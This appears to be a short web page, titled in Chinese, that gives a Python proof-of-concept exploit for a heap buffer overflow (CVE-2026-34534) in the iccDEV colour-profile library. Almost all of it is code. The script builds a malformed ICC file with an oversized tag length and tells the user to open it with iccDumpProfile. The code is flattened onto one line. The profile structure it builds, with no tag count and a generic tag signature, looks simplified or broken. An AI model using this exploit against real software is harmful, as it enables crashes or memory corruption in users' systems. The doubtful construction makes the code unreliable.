CVE-2026-34534 iccDEV堆缓冲区溢出漏洞

import os import struct # Proof of Concept for CVE-2026-34534 # This script generates a malformed ICC profile designed to trigger # the heap-buffer-overflow in CIccMpeSpectralMatrix::Describe(). def create_malicious_icc(filename): # ICC profile header (simplified for PoC) # Valid header size is usually 128 bytes header = b'\x00' * 128 # Set profile size (arbitrary large value) # Overwriting the first 4 bytes with size size = struct.pack('>I', 1024) header = size + header[4:] # Set CMM type signature header = header[:4] + b'test' + header[8:] # Set profile version (2.3.1.6 is patched, target older) header = header[:8] + b'\x02\x30\x00\x00' + header[12:] # Create a tag table entry that targets the vulnerable class logic # This simulates a SpectralMatrix tag with malformed data length tag_signature = b'mtrX' tag_offset = struct.pack('>I', 128) # Offset after header tag_size = struct.pack('>I', 0xFFFFFFFF) # Malicious large size to trigger overflow tag_table = tag_signature + tag_offset + tag_size # Write to file with open(filename, 'wb') as f: f.write(header) f.write(tag_table) # Write padding data that Describe() might read out-of-bounds f.write(b'A' * 500) print(f"[+] Malformed ICC profile generated at: {filename}") def trigger_exploit(filename): print(f"[*] Attempting to trigger vulnerability using {filename}...") # In a real scenario, this would call the vulnerable iccDumpProfile binary # os.system(f"iccDumpProfile {filename}") print("[!] Run 'iccDumpProfile {}' on a vulnerable version to confirm.".format(filename)) if __name__ == "__main__": output_file = "cve_2026_34534_poc.icc" create_malicious_icc(output_file) trigger_exploit(output_file)